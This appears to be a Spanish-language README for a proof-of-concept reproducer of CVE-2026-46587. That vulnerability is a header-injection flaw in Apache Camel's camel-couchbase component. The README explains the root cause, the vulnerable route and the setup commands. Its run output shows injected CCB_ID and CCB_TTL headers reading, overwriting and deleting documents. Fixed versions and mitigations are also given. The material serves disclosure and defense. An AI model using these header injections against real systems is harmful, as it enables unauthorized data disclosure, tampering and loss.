
Reproductor para CVE-2026-46587: inyección de cabeceras CCB_* en Apache Camel camel-couchbase que permite la divulgación de documentos, la manipulación y la destrucción de datos forzada por TTL (corregido en 4.14.8/4.18.3/4.21.0)
CCB_* en camel-couchbase — Reproducción (CVE-2026-46587)Este proyecto demuestra una inyección en las cabeceras del mensaje en el componente camel-couchbase de Apache Camel, registrada como CVE-2026-46587. El componente lee varias cabeceras del Exchange para controlar su comportamiento: CCB_KEY (clave de documento), CCB_ID (id de documento), CCB_TTL (caducidad de documento), CCB_DDN (nombre de documento de diseño) y CCB_VN (nombre de vista). Los valores de cadena de estas constantes de cabecera (definidas en CouchbaseConstants) son nombres simples sin prefijo, en lugar de los nombres con prefijo Camel que usan todos los demás componentes (p. ej. CamelSqlQuery). El HttpHeaderFilterStrategy entrante de Camel solo bloquea los nombres de cabecera que empiezan por Camel / camel, por lo que estos nombres atraviesan sin cambios el filtro entrante. Cuando una ruta expone un punto de entrada HTTP (por ejemplo platform-http) delante de un productor couchbase, un cliente HTTP no confiable puede establecer estas cabeceras directamente y anular el id de documento, el TTL, el nombre de documento de diseño o el nombre de vista que el autor de la ruta configuró.
Esta PoC demuestra tres impactos distintos a partir de un único fallo:
CCB_ID inyectado lee un documento fuera del ámbito de quien llama.CCB_ID inyectado en una escritura sobrescribe un documento protegido.CCB_TTL=1 inyectado obliga al documento del propio usuario a autodestruirse de forma silenciosa.Aviso: https://camel.apache.org/security/CVE-2026-46587.html
Pertenece a la misma familia de inyecciones de cabecera que CVE-2025-27636, CVE-2026-40453, CVE-2026-46453 y CVE-2026-47323. La corrección comparte su PR con el aviso hermano CVE-2026-46588 (camel-couchdb).
// CouchbaseConstants (affected 4.18.2) — the header names are bare, un-prefixed strings:
String HEADER_ID = "CCB_ID";
String HEADER_TTL = "CCB_TTL";
// CouchbaseProducer.process (affected 4.18.2) — the id and expiry come straight from those headers:
String id = headers.containsKey(HEADER_ID) ? exchange.getIn().getHeader(HEADER_ID, String.class) : endpoint.getId();
int ttl = headers.containsKey(HEADER_TTL) ? Integer.parseInt(exchange.getIn().getHeader(HEADER_TTL, String.class)) : DEFAULT_TTL;
// ... setDocument(collection, id, ttl, body, ...) / getDocument(collection, id, ...) / removeDocument(...)
La corrección (4.14.8 / 4.18.3 / 4.21.0) renombra los valores de las cabeceras a la convención de Camel — CCB_ID → CamelCouchbaseId, CCB_TTL → CamelCouchbaseTtl, CCB_KEY → CamelCouchbaseKey, CCB_DDN → CamelCouchbaseDesignDocumentName, CCB_VN → CamelCouchbaseViewName — de modo que son bloqueadas por el HttpHeaderFilterStrategy entrante como cualquier otra cabecera de control de Camel. Los nombres de los campos constantes de Java no cambian.
from("platform-http:/save") // and /fetch
.removeHeaders("Camel*") // documented hardening — see below
.choice().when(header("CCB_ID").isNull())
.setHeader("CCB_ID", constant("user-draft")) // default to the caller's own document
.end()
.to("couchbase:couchbase://<host>:8091?bucket=mybucket&username=..&password=..&operation=CCB_PUT");
La ruta usa por defecto el id de documento del propio borrador de quien llama y, como endurecimiento documentado, elimina el espacio de nombres de cabeceras de control de Camel en el borde. Eso no ayuda: las cabeceras de anulación se llaman CCB_ID / CCB_TTL, no CamelCouchbaseId / CamelCouchbaseTtl, por lo que no las elimina ni removeHeaders("Camel*") ni el filtro de cabeceras HTTP integrado — y el productor las respeta.
La base de datos se inicializa con dos documentos: user-draft (el borrador del propio usuario) y system-config (un documento sensible que el endpoint nunca debe exponer).
La víctima son las rutas Camel y su base de datos Couchbase; el atacante es un cliente HTTP no autenticado que solo establece cabeceras de solicitud. Un pequeño harness del SDK siembra y lee documentos para verificación, de forma independiente de la ruta vulnerable.
CVE-2026-46587/
├── pom.xml # camel-platform-http + camel-couchbase 4.18.2
├── Dockerfile
├── docker-compose.yml # couchbase 7.6 (community) + one-shot provisioner + the app
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── CouchbaseSettings.java # host / bucket / creds / document ids
│ ├── CouchbaseHarness.java # SDK harness: seeds + reads docs for verification
│ ├── VictimRoute.java # platform-http:/save and /fetch -> couchbase producer
│ └── ExploitController.java # attacker: HTTP requests with injected CCB_ID / CCB_TTL headers
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build # couchbase -> provisioner -> app (first start pulls ~1.7GB)
# wait for the app log line "Started Application", then:
curl -s http://localhost:8080/exploit/attack
docker compose down -v
El archivo compose inicializa un clúster Couchbase de un solo nodo (solo KV), crea el bucket
mybuckety unappuser, y luego inicia la aplicación. Se usa un alias de red con punto (couchbase.cve.local) como nombre de host del nodo porque Couchbase rechaza nombres de host cortos.
initial DB state (read straight from Couchbase):
user-draft = empty-draft
system-config = PROTECTED-ORIGINAL-CONFIG
=== 1) Legitimate fetch (no CCB_ID) — the caller's own draft ===
empty-draft
=== 2) Injected fetch (CCB_ID=system-config) — reads a protected document ===
PROTECTED-ORIGINAL-CONFIG
read-override / disclosure: true
=== 3) Legitimate save (no CCB_ID) — writes only the caller's own draft ===
system-config = PROTECTED-ORIGINAL-CONFIG (unchanged)
=== 4) Injected save (CCB_ID=system-config) — overwrites a protected document ===
system-config = ATTACKER-OVERWRITE-PAYLOAD
write-override / tampering: true
=== 5) Injected save (CCB_TTL=1) — forces the caller's own document to self-destruct ===
user-draft immediately after save: important quarterly data the user just saved
user-draft ~2.5s later: <not found: DocumentNotFoundException>
ttl-injection / data loss: true
>>> Header-injection proof — an unauthenticated HTTP client controlled the Couchbase operation
>>> via CCB_* headers: read a protected doc (true), overwrote it (true), and destroyed data with a forced TTL (true).
Cualquier ruta con un productor couchbase accesible desde un consumidor HTTP. Cabeceras inyectables: CCB_ID / CCB_KEY (id/clave de documento → leer, sobrescribir o eliminar documentos arbitrarios), CCB_TTL (caducidad forzada → pérdida de datos) y, en el lado del consumidor, CCB_DDN / CCB_VN (nombres de documento de diseño y de vista).
Actualice a 4.14.8 / 4.18.3 / 4.21.0 (PR #23228 del aviso). Tras la corrección, las cabeceras de anulación llevan el prefijo Camel (CamelCouchbaseId, CamelCouchbaseTtl, …) y se filtran en el límite HTTP como cualquier otra cabecera de control.
Hasta actualizar, elimine las cabeceras afectadas de los mensajes entrantes no confiables antes de que lleguen al productor, p. ej. .removeHeader("CCB_KEY"), .removeHeader("CCB_ID"), .removeHeader("CCB_TTL"), .removeHeader("CCB_DDN") y .removeHeader("CCB_VN") delante del endpoint couchbase, o aplique un HeaderFilterStrategy personalizado que bloquee estos nombres.
Este reproductor se proporciona únicamente para investigación de seguridad y pruebas autorizadas, para una vulnerabilidad divulgada públicamente y corregida. No lo utilice contra sistemas sin permiso explícito.
| Propiedad | Valor |
|---|
| Componente | camel-couchbase |
| Clase afectada | org.apache.camel.component.couchbase.CouchbaseProducer que lee CouchbaseConstants.HEADER_ID ("CCB_ID"), HEADER_TTL ("CCB_TTL"), etc. |
| CWE | CWE-20: Validación incorrecta de entradas |
| Impacto | Un cliente HTTP establece cabeceras CCB_* → anula el id de documento / TTL / documento de diseño / vista → divulgación, alteración, pérdida de datos |
| Precondiciones | Una ruta expone un productor couchbase detrás de un consumidor HTTP (p. ej. platform-http); no autenticada cuando el consumidor lo está |
| Versiones afectadas | Desde 4.0.0 anterior a 4.14.8, desde 4.15.0 anterior a 4.18.3, desde 4.19.0 anterior a 4.21.0 |
| Versiones corregidas | 4.14.8, 4.18.3, 4.21.0 |
| Corrección | PR apache/camel#23228 (main), retroportado mediante #23230 (4.18.x) / #23231 (4.14.x) |
| Créditos | Yu Bao (PayPal) |